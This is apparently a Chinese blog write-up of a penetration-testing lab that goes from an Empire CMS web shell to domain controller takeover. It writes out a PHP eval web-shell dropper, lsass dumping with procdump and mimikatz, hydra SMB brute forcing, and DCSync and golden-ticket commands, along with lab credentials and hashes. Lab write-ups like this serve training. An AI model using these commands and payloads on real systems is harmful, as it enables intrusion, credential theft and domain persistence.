从 Web 漏洞到域控的全链路攻击,(adpatixC2,AI辅助)-lab17
原创
苦艾印图
苦艾印图
苦艾印图
2026年7月22日 11:20
青海
在小说阅读器读本章
去阅读
Lab-17
打点
开局登录数据库的web,注意到Adminer 4.6.2这个标识第一时间顺理想到是否存在nday,弱口令
但我们还是先做好信息收集,端口,目录(我们这里使用无影,还有学习运用ai(cc+dp4-F))
8001端口也开放了web业务,Empire CMS,
显然这种cms的版本存在漏洞,我们这里用ai整理攻击面
后台登录admin/admin123,成功进入
后台去getshell参考文章https://www.cnblogs.com/LEOGG321/p/13882655.html
但是这里我想尝试利用ai帮我去完成这件事,结果:
额....,手动吧(记得要将数据库表名填上)
上传文件shell.php.mod
<?php file_put_contents(\"getshell.php\",\"<?php @eval(\\$_POST[1]); ?>\");?>
/flag.txt
获取边界机器立足点,横向移动
获取到权限后,首要信息收集工作,以及考虑是否提权
网络(网卡,网络连接情况)
敏感数据(数据库,密钥,密码本等有价值的数据)
我们这里上线C2(adptix),这机器依旧是无法访问互联网,所以我们先上线自己的电脑开启端接口转发0.0.0.0:9999---->C2:20000
然后做linux的监听器,callback我们的电脑的ip:9999,然后生成beacon,完成了目标->我的电脑:9999--->C2:20000的连接通道
信息收集后发现,存在两个网段10.200.5.0/24和172.20.5.5/24,结合一下ai的分析
接下来探测就是内网了,我们在其机器上开启socks5代理(无认证)
不知道为什么这种通过端口转发上线的这种方式,通过建立这个socks扫描,客户端就会崩掉,我直接在服务端加入openvpn(没招了,踩坑了2,3个小时,主要是adaptix不支持正向的linux载荷,所以决定改下网络结构(这里带个虚拟机连接openvpn),当然也是可以直接上传microsocks等工具开启代理的)
重新上线后(反向直连C2),重新开启socks5(开在C2服务器上)
这里我们上fscan,无影也可以
.\\fscan.exe -h 172.20.5.5/24,10.200.5.0/24 -socks5 192.168.111.133:1080
发现了几个ip,其中10.200.5.50 [cslab],10.200.5.10 [DC],而且可以看到探测出的smb服务是v1版本(不知道是不是误报)
[*] 10.200.5.10 存活 (协议: TCP)[*] 10.200.5.50 存活 (协议: TCP)[*] 10.200.5.6 存活 (协议: TCP)[*] 172.20.5.5 存活 (协议: TCP)[*] 172.20.5.233 存活 (协议: TCP)[*] 172.20.5.9 存活 (协议: TCP)
172.20.5.9直接就是ssh弱口令,flag+1,然后将他上线
再单独对这两个windwos扫一遍
发现是开了3389,并且怀疑可能存在永恒之蓝(这里我用fscan的ms17010模块没有结果,应该是拒绝访问)
结果在翻的时候发现了(.........之前看的时候没看见)
怀疑就是50[cslab]的密码,配置proxifier,rdp连接
administrator/cs1ab@iiw
这里dump的时候出错,是启用了lass的保护,我们采用procdump转储+mimkatz的方式
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
Step 1: procdump64.exe -accepteula -ma lsass.exe lsass.dmp ↓ 将 lsass.exe 进程的完整内存转储到 lsass.dmp 文件
Step 2: mimikatz # sekurlsa::minidump lsass.dmp ↓ 告诉 mimikatz 从 lsass.dmp 文件读取（而不是实时读取内存）
Step 3: mimikatz # sekurlsa::logonpasswords ↓ 从转储文件中解析出所有凭据（用户名、密码哈希、明文密码）
但是这里好像没有能够利用的,先翻找一下有什么文件,从上到下慢慢翻,在最近使用的地方看到了一个1.bat的文件
直接给出了与用户cslab的密码,运行后会以cyberstrike\cslab的身份cmd弹窗,收集一波信息
无 SPN 服务账户,普通域用户,共享也看不了
看了下文章,是用暴力破解的方法去做的横向,踩坑:hydra走proxifier的时候记得指定目标ip,否则会一直连接127.0.0.1被拒绝
hydra.exe -l administrator -P ./top6000.txt smb://10.200.5.10
建立连接
或用域管理员身份执行或者重新用域管理员登RDP
runas /user:cyberstrike.lab\\Administrator cmd
但是域管并不是终点,我们要拿到krbtgt的哈希,做一个黄金票票据,此时已经有了域管的权限,那么就可以去动DCSync（域控同步）----获取所有的账户以及hash,或者只拉krbtgt的
lsadump::dcsync /domain:cyberstrike.lab /all
lsadump::dcsync /domain:cyberstrike.lab /user:krbtgt
下一步找到krbtgt账户的hash,利用mimikatz只做黄金票据(mimikatz的输出太长了,一会儿就眼花,让ai给我找)
这里注意域的sid是-500的前面部分,S-1-5-21-64854050-1587546430-3649469574,/user:Administrator 那里指定用户名，Mimikatz 会自动加上 RID 500。
kerberos::golden /user:Administrator /domain:cyberstrike.lab /sid:S-1-5-21-64854050-1587546430-3649469574 /krbtgt:dd7b15f4f460bd56b2720b35d0b3f4de /ptt
| 参数 | 说明 |
|---|---|
/user |
要伪造的用户名（通常是 Administrator） |
/domain |
域 FQDN（全大写） |
/sid |
域 SID（从 whoami /user或 lsadump::dcsync获取） |
/krbtgt |
krbtgt 账户的 NTLM 哈希 （ 不是 Administrator 的哈希） |
/ptt |
注入当前会话 |
最后做的路径图(有点捞)
做个总结:
adaptixC2在做从linux到windows的功能,没有端口转发,只有自己去手动做(我只加了windows的扩展插件,linux上都用不了),这个内网做起来没有涉及到太多域的横向手法,更多的是与密码(弱口令,机器上保存的凭据)打交道
还有就是机器都是无法连外网的,上线到外网的C2不容易(执行后总是卡在转发不出来,要么就是延迟高,花了挺久的时间),下次长记性了,但是总体下来也是完成了从边界->域->域控->持久化的路径
另外一点就是ai的使用还不够深,也没试过用ai能不能一把嗦完整个内网,目前的使用用来去做web的指纹识别,js感觉非常好,感觉是比工具去做js提取,指纹识别还要更深,这里体现的不够明显,但在平常的使用中能收集到更多工具无法收集到的信息,对目标网站的理解更深刻,好用!!!!!
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论